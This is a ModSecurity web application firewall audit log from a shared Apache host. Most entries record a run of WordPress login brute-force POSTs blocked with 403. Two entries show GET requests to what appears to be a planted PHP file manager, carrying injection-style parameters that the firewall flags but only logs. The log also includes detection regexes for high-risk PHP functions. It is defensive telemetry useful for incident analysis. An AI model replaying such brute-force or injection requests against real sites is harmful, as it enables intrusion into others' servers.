X-Accel-Internal: /internal-nginx-static-location
Content-Length: 120
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:91.0) Gecko/20100101 Firefox/91.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5caaea05-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5caaea05-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313966695976 1916 (- - -)
Stopwatch2: 1789313966695976 1916; combined=732, p1=327, p2=73, p3=0, p4=0, p5=332, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5caaea05-Z--

--15aac358-A--
[13/Sep/2026:18:39:27.076504 +0300] aqbDr-ut1GUrjaX0wO44yAAAANE 134.185.87.66 46758 127.0.0.1 7081
--15aac358-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 90
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--15aac358-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--15aac358-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313967074785 1778 (- - -)
Stopwatch2: 1789313967074785 1778; combined=602, p1=228, p2=80, p3=0, p4=0, p5=294, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--15aac358-Z--

--311d4051-A--
[13/Sep/2026:18:39:27.465204 +0300] aqbDr-ut1GUrjaX0wO44ygAAAME 134.185.87.66 46764 127.0.0.1 7081
--311d4051-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 104
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--311d4051-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--311d4051-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313967463456 1803 (- - -)
Stopwatch2: 1789313967463456 1803; combined=565, p1=266, p2=76, p3=0, p4=0, p5=223, sr=129, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--311d4051-Z--

--44307b03-A--
[13/Sep/2026:18:39:27.844126 +0300] aqbDr-ut1GUrjaX0wO44ywAAANA 134.185.87.66 46792 127.0.0.1 7081
--44307b03-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--44307b03-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--44307b03-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313967842407 1775 (- - -)
Stopwatch2: 1789313967842407 1775; combined=662, p1=263, p2=123, p3=0, p4=0, p5=276, sr=78, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--44307b03-Z--

--2270170c-A--
[13/Sep/2026:18:39:28.232468 +0300] aqbDsPut1GUrjaX0wO44zQAAAMI 134.185.87.66 46816 127.0.0.1 7081
--2270170c-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 88
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--2270170c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2270170c-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313968230809 1735 (- - -)
Stopwatch2: 1789313968230809 1735; combined=600, p1=267, p2=66, p3=0, p4=0, p5=267, sr=116, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2270170c-Z--

--10668658-A--
[13/Sep/2026:18:39:28.616943 +0300] aqbDsPut1GUrjaX0wO44zgAAAMU 134.185.87.66 46834 127.0.0.1 7081
--10668658-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--10668658-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--10668658-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313968615140 1875 (- - -)
Stopwatch2: 1789313968615140 1875; combined=630, p1=242, p2=73, p3=0, p4=0, p5=315, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--10668658-Z--

--3632dd49-A--
[13/Sep/2026:18:39:29.000934 +0300] aqbDsEhjHs68UzErry1K0AAAAIA 134.185.87.66 46856 127.0.0.1 7081
--3632dd49-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--3632dd49-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3632dd49-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313968998244 2821 (- - -)
Stopwatch2: 1789313968998244 2821; combined=1032, p1=427, p2=125, p3=0, p4=0, p5=480, sr=143, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3632dd49-Z--

--b6067f79-A--
[13/Sep/2026:18:39:29.387610 +0300] aqbDsfut1GUrjaX0wO440gAAANY 134.185.87.66 46894 127.0.0.1 7081
--b6067f79-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--b6067f79-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--b6067f79-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313969385951 1759 (- - -)
Stopwatch2: 1789313969385951 1759; combined=516, p1=216, p2=67, p3=0, p4=0, p5=233, sr=83, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b6067f79-Z--

--4e07f86b-A--
[13/Sep/2026:18:39:29.596174 +0300] aqbDsfut1GUrjaX0wO441wAAANg 216.73.216.41 46940 127.0.0.1 7081
--4e07f86b-B--
GET /img/ufo_fm.php?f=%27.%24enc.%27&p=%27.urlencode%28%24p%29.%27&rm=1 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--4e07f86b-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--4e07f86b-H--
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"]
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDsfut1GUrjaX0wO441wAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDsfut1GUrjaX0wO441wAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313969562366 33910 (- - -)
Stopwatch2: 1789313969562366 33910; combined=31105, p1=186, p2=30851, p3=0, p4=0, p5=67, sr=75, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--4e07f86b-Z--

--0a10d971-A--
[13/Sep/2026:18:39:29.775459 +0300] aqbDsfut1GUrjaX0wO443AAAAMs 134.185.87.66 46986 127.0.0.1 7081
--0a10d971-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 110
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--0a10d971-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0a10d971-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313969773754 1760 (- - -)
Stopwatch2: 1789313969773754 1760; combined=580, p1=231, p2=88, p3=0, p4=0, p5=261, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0a10d971-Z--

--53a7c57d-A--
[13/Sep/2026:18:39:29.780818 +0300] aqbDsfut1GUrjaX0wO442wAAAMU 216.73.216.41 46974 127.0.0.1 7081
--53a7c57d-B--
GET /img/ufo_fm.php?dl=1&f=%27.%24enc.%27&p=%27.urlencode%28%24p%29.%27 HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.41
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--53a7c57d-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--53a7c57d-H--
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"]
Message: Warning. Pattern match "(?i)\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "63"] [id "77134464"] [msg "IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDsfut1GUrjaX0wO442wAAAMU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?i)\\\\\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:p. [file "/etc/httpd/conf/modsecurity.d/rules/custom/012_i360_1_generic.conf"] [line "19"] [id "77134463"] [msg "IM360 WAF: PHP Injection Attack: High-Risk PHP Function Call Found||T:APACHE||MVN:ARGS:p||MV:'.urlencode($p).'||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "NOTICE"] [tag "service_o"] [tag "service_i360"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqbDsfut1GUrjaX0wO442wAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313969747201 33663 (- - -)
Stopwatch2: 1789313969747201 33663; combined=30908, p1=223, p2=30626, p3=0, p4=0, p5=58, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--53a7c57d-Z--

--8a4e1d04-A--
[13/Sep/2026:18:39:30.159420 +0300] aqbDsvut1GUrjaX0wO444gAAANE 134.185.87.66 47038 127.0.0.1 7081
--8a4e1d04-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--8a4e1d04-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--8a4e1d04-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313970157030 2459 (- - -)
Stopwatch2: 1789313970157030 2459; combined=768, p1=389, p2=91, p3=0, p4=0, p5=288, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8a4e1d04-Z--

--dbaa662e-A--
[13/Sep/2026:18:39:30.539048 +0300] aqbDskhjHs68UzErry1K0gAAAIo 134.185.87.66 47096 127.0.0.1 7081
--dbaa662e-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--dbaa662e-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--dbaa662e-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313970537208 1905 (- - -)
Stopwatch2: 1789313970537208 1905; combined=603, p1=246, p2=74, p3=0, p4=0, p5=282, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dbaa662e-Z--

--e1de3269-A--
